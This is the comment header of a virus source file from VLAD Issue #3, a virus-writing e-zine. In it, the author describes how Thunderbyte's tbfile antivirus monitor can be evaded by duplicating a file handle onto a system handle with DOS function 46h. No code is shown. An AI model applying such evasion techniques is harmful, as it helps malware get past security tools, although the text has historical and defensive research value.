VLAD Magazine - Issue #3 - ARTICLE.5_1 - Monkeys out of Control Virus Source Code

; Monkeys out of Control, a laboratory specimen by Rhincewind [Vlad]
;
; The purpose of this virus is to show that Thunderbyte's tbfile will
; allow writes to file handles that are normally characterbased
; 'system' handles, set to CON:. Instead of checking if the handle points
; to a character device, tbfile makes it's judgement based on the handle
; number only. Tsss..
;
; To exploit this flaw, all you have to do is open your target file
; for read/write and copy the returned file handle to one of the system
; handles using function 46h.
